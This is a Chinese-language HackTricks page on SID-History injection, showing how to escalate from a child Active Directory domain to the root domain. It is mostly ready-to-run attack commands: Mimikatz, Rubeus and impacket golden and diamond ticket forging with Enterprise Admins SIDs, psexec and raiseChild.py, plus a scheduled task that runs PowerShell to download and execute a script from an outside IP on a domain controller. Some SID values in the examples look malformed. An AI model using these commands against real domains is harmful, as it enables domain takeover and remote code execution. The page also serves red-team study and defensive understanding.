# SID-History Injection
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) * 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
## SID History Injection 攻击 **SID History Injection 攻击**的重点是在**用户在域之间迁移**时,确保他们可以继续访问来自以前域的资源。这是通过将用户以前的安全标识符(SID)合并到其新帐户的SID History中来实现的。值得注意的是,通过将父域中高特权组(例如企业管理员或域管理员)的SID添加到SID History中,可以操纵此过程以授予未经授权的访问权限。这种利用赋予对父域内所有资源的访问权限。 有两种方法可用于执行此攻击:通过创建**Golden Ticket**或**Diamond Ticket**。 要找到**"Enterprise Admins"**组的SID,首先必须找到根域的SID。在确定后,可以通过在根域的SID后附加`-519`来构建Enterprise Admins组的SID。例如,如果根域SID为`S-1-5-21-280534878-1496970234-700767426`,则"Enterprise Admins"组的结果SID将是`S-1-5-21-280534878-1496970234-700767426-519`。 您还可以使用**Domain Admins**组,其以**512**结尾。 另一种找到其他域组的SID(例如"Domain Admins")的方法是: ```powershell Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid ``` ### 使用KRBTGT-AES256的黄金票据(Mimikatz) {% code overflow="wrap" %} ```bash mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid: /sids: /aes256: /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit" /user is the username to impersonate (could be anything) /domain is the current domain. /sid is the current domain SID. /sids is the SID of the target group to add ourselves to. /aes256 is the AES256 key of the current domain's krbtgt account. --> You could also use /krbtgt: instead of the "/aes256" option /startoffset sets the start time of the ticket to 10 mins before the current time. /endin sets the expiry date for the ticket to 60 mins. /renewmax sets how long the ticket can be valid for if renewed. # The previous command will generate a file called ticket.kirbi # Just loading you can perform a dcsync attack agains the domain ``` {% endcode %} 有关黄金票据的更多信息,请查看: {% content-ref url="golden-ticket.md" %} [golden-ticket.md](golden-ticket.md) {% endcontent-ref %} ### 钻石票据(Rubeus + KRBTGT-AES256) {% code overflow="wrap" %} ```powershell # Use the /sids param Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap # Or a ptt with a golden ticket Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt # You can use "Administrator" as username or any other string ``` {% endcode %} 有关钻石票的更多信息,请查看: {% content-ref url="diamond-ticket.md" %} [diamond-ticket.md](diamond-ticket.md) {% endcontent-ref %} {% endcode %} ```bash .\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local .\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi ls \\mcorp-dc.moneycorp.local\c$ ``` {% endcode %} 使用受损域的KRBTGT哈希值升级为DA或根管理员或企业管理员: ```bash Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"' Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"' gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114" ``` {% endcode %} 通过攻击获得的权限,您可以在新域中执行例如DCSync攻击: {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) {% endcontent-ref %} ### 从Linux #### 使用[ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)手动操作 {% code overflow="wrap" %} ```bash # This is for an attack from child to root domain # Get child domain SID lookupsid.py /username@10.10.10.10 | grep "Domain SID" # Get root domain SID lookupsid.py /username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID" # Generate golden ticket ticketer.py -nthash -domain -domain-sid -extra-sid Administrator # NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING # JUST USE THE SAME USERNAME IN THE NEXT STEPS # Load ticket export KRB5CCNAME=hacker.ccache # psexec in domain controller of root psexec.py /Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10 ``` {% endcode %} #### 使用 [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) 进行自动化 这是一个 Impacket 脚本,可以**自动将权限从子域升级到父域**。脚本需要: * 目标域控制器 * 子域中管理员用户的凭证 流程如下: * 获取父域的 Enterprise Admins 组的 SID * 检索子域中 KRBTGT 账户的哈希值 * 创建一个 Golden Ticket * 登录到父域 * 检索父域中管理员账户的凭证 * 如果指定了 `target-exec` 开关,则通过 Psexec 认证到父域的域控制器。 ```bash raiseChild.py -target-exec 10.10.10.10 /username ``` ## 参考资料 * [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772) * [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家) * 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。